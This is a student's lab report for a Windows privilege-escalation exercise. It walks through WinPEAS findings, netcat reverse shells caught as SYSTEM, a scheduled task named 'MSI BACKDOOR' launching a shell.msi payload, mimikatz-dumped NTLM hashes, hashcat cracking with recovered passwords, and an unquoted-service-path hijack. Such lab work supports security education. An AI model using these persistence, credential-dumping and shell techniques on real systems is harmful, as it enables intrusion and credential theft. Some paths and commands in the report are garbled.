

# Lab Template – Ethan Roepke

1. List 5 things that WinPeas reported on and give a reason for why and how it might be abused by an attacker.  
(10 points)

1.

```
[+] Files in registry that may contain credentials
[!] Searching specific files that may contain credentials.
[?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside
Looking inside HKCU\Software\ORL\WinVNC3\Password
Looking inside HKKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon
DefaultDomainName REG_SZ
DefaultUserName REG_SZ Joshua
LastUsedUsername REG_SZ Joshua
Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
Looking inside HKCU\Software\TightVNC\Server
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
Looking inside HKCU\Software\OpenSSH\AgentKeys
```

These files possibly contain user credentials in given files. If an attacker gets it hands on these files then they would be able to make later movement and gain root.

2.

```
[+] UNQUOTED SERVICE PATHS
[!] When the path is not quoted (ex: C:\Program Files\soft\new folder\exec.exe) Windows will try to exe
Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe
te 'C:\Program Files\soft\new.exe'
[!] The permissions are also checked and filtered using icacils
[?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
```

Since this path file is not quoted which means windows will execute this in parts. An attacker could abuse this by uploading a reverse shell named Program.exe and this would be executed.

3.

```
[+] ADMINISTRATORS GROUPS
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-----
Administrator
Grant
Sam
The command completed successfully.
```

This list lets us know which accounts have complete access to the computer. An attacker could use this knowledge to let them know who they need to target to gain admin faster and least detected.

4.

```
[+] FIREWALL
Firewall status:
-----
Profile = Standard
Operational mode = Disable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Disable
Group policy version = Windows Firewall
Remote admin mode = Disable

Ports currently open on all network interfaces:
Port Protocol Version Program
-----
No ports are currently open on all network interfaces.

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .
```

The firewall status lets us know specific firewall is enabled or disabled. This could help an attacker know when it is best to attack the victim and if a firewall is disabled will give access.

5.

```
[+] USED PORTS
[i] Check for services restricted from the outside
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 868
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 392
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 500
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1216
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1140
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1676
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 2504
TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING 2620
TCP 0.0.0.0:49671 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:49674 0.0.0.0:0 LISTENING 644
TCP 135.75.54.111:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 868
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:3389 [::]:0 LISTENING 392
TCP [::]:5357 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 500
TCP [::]:49665 [::]:0 LISTENING 1216
TCP [::]:49666 [::]:0 LISTENING 1140
TCP [::]:49667 [::]:0 LISTENING 1676
TCP [::]:49669 [::]:0 LISTENING 2504
TCP [::]:49670 [::]:0 LISTENING 2620
TCP [::]:49671 [::]:0 LISTENING 636
TCP [::]:49674 [::]:0 LISTENING 644
```

The list of ports tells us if it is listening. This can be useful for an attacker to understand what machine may be in use which will let them know how to approach an attack.

2. **List three other ways you could transfer files between Linux and Windows (10 points)**

1. Secure Copy protocol – this is a secure file transfer that uses SSH for encryption. Use the 'scp' in command line.
2. File transfer protocol – this isn't as secure but can use on either the linux or windows machine by using a FTP client on the other system.
3. SSH File transfer protocol – similar to secure copy protocol, it uses SSH for encryption and use the 'sftp' in command line.

3. Take a screenshot of you getting a reverse shell as SYSTEM running the command "whoami"  
(10 points)

```
(root@kali)-[~]
# nc -lnvp 9000
listening on [any] 9000 ...
connect to [135.75.54.2] from (UNKNOWN) [135.75.54.111] 60672
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

4. Take a screenshot of the command and the output of your command. It should say the task was successfully created.  
(10 points)

```
C:\Windows\system32>schtasks /create /sc minute /mo 2 /ru "SYSTEM" /tn "MSI BACKDOOR" /tr "cme.exe /c start C:\Users\Public\Downloads\shell.msi"
schtasks /create /sc minute /mo 2 /ru "SYSTEM" /tn "MSI BACKDOOR" /tr "cme.exe /c start C:\Users\Public\Downloads\shell.msi"
SUCCESS: The scheduled task "MSI BACKDOOR" has successfully been created.
```

5. What information does LSASS store in memory? How can this be useful to an attacker?(10 points)

LSASS stores user credentials, such as encrypted/hashed passwords, security tokens (user privileges), and Kerberos tickets that is used to verify identity. An attacker could use a Pass-The-Hash attack to authenticate themselves without needing the plaintext password. Similar to Pass-The-Hash attack, attackers can Pass-The-Ticket attack to authenticate themselves by extracting tickets. Both of these can give the attacker lateral movement in the server.

6. Look through mimikatz.log. Based on what you've learned in the labs so far, how can this be used by an attacker? Include screenshots to support your findings.  
(2 sentence minimum)  
(10 points)

Looking through mimikatz.log, this contains plaintext hashes and passwords of current user that are logged on that were extracted from LSASS. This is beneficial for an attacker because they can be obtain credentials which will allow them to make lateral movement.

```
SID : 5-1-5-21-1983437436-99504062-104502186-1002
msv :
[00000003] Primary
* Username : Sam
* Domain : DESKTOP-NF2H602
* NTLM : b78c9bdb85cdad712891d3600c9a06a
* SHA1 : fc8b59a1618867dd7ca9f0a5aeac6e0043feb1b7
tspkg :
wdigest :
* Username : Sam
* Domain : DESKTOP-NF2H602
* Password : (null)
kerberos :
* Username : Sam
* Domain : DESKTOP-NF2H602
* Password : (null)
ssp :
credman :
```

7. **Use Hashcat to crack NTLM password hashes. Submit a screenshot of the output**  
(10 points)

```
Stopped: Wed Mar  8 19:00:30 2024
(root@kali)~# hashcat -m 1000 hashes1.txt -a 0 --force --username --show /usr/share/wordlists/rockyou.txt
Jake:17b97817d3c8269002685b3f8429a5e7:bluebird
Carter:320a78179516c385e35a93ffa0b1c4ac:baseball
Grant:59fc0f884922b4ce376051134c71e22c:Qwerty123
(root@kali)~#
```

8. **Login to an administrator's account. Open a command prompt and type, “whoami && ipconfig” Submit a screenshot of this for your lab report.**  
(10 points)

```
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami && ipconfig
desktop-nf2h602\grant

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : 
    Link-local IPv6 Address . . . . . : fe80::3092:fd37:6aa1:ed8%8
    IPv4 Address. . . . . : 135.75.54.111
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 135.75.54.254

Tunnel adapter Teredo Tunneling Pseudo-Interface:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 

C:\Windows\system32>_
```

9. **What are the three names of the services we could use to override wmpnetwk.exe? For each service, in what folder would it need to be placed?**  
(10 points)

1. **C:\Program.exe Files\Windows Media Player\wmpnetwk.exe**  
Placed in \Folder
2. **C:\Program.exe Files\Windows.exe Media Player\wmpnetwk.exe**  
Placed in Program Files folder
3. **C:\Program.exe Files\Windows Media.exe Player\wmpnetwk.exe**  
Placed in Program Files Folder

10. Submit a screenshot of the following command in your shell:  
**whoami && dir "C:\Program Files"**  
(10 points)

```
(root@kali) (~)
# nc -l -p 8989
listening on [any] 8989 ...
connect to [135.75.54.2] from (UNKNOWN) [135.75.54.111] 49673
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami && ipconfig && dir "C:\Program Files"
whoami && ipconfig && dir "C:\Program Files"
nt authority\system

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix . : 
    Link-local IPv6 Address . . . . . : fe80::3092:fd37:6aa1:ed8%8
    IPv4 Address. . . . . : 135.75.54.111
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 135.75.54.254

Tunnel adapter Teredo Tunneling Pseudo-Interface:

    Connection-specific DNS Suffix . : 
    IPv6 Address. . . . . : 2001:0:34f1:8072:1c7a:2489:78b4:c990
    Link-local IPv6 Address . . . . . : fe80::1c7a:2489:78b4:c990%11
    Default Gateway . . . . . : ::

Volume in drive C has no label.
Volume Serial Number is CAA4-5FBC

Directory of C:\Program Files

03/06/2024 06:23 PM <DIR>      .
03/06/2024 06:23 PM <DIR>      ..
03/18/2017 01:03 PM <DIR>      Common Files
09/05/2022 04:42 PM <DIR>      CUAssistant
10/31/2022 06:12 PM <DIR>      Internet Explorer
09/08/2022 10:45 AM <DIR>      KeePass Password Safe 2
10/30/2022 05:47 PM <DIR>      PackageManagement
09/05/2022 02:45 PM <DIR>      rempl
01/15/2023 11:03 PM <DIR>      Windows Defender
01/15/2023 11:03 PM <DIR>      Windows Defender Advanced Threat Protection
01/15/2023 11:03 PM <DIR>      Windows Mail
10/27/2022 10:16 PM <DIR>      Windows Media Player
10/30/2022 10:04 PM <DIR>      Windows Media Players
03/18/2017 01:03 PM <DIR>      Windows Multimedia Platform
03/18/2017 01:03 PM <DIR>      Windows NT
01/15/2023 11:03 PM <DIR>      Windows Photo Viewer
03/18/2017 01:03 PM <DIR>      Windows Portable Devices
03/18/2017 01:03 PM <DIR>      Windows Security
03/06/2024 06:19 PM <DIR>      15,872 Windows.exe
10/30/2022 05:47 PM <DIR>      WindowsPowerShell
          1 File(s)          15,872 bytes
          19 Dir(s)  34,179,534,848 bytes free

C:\Windows\system32>
```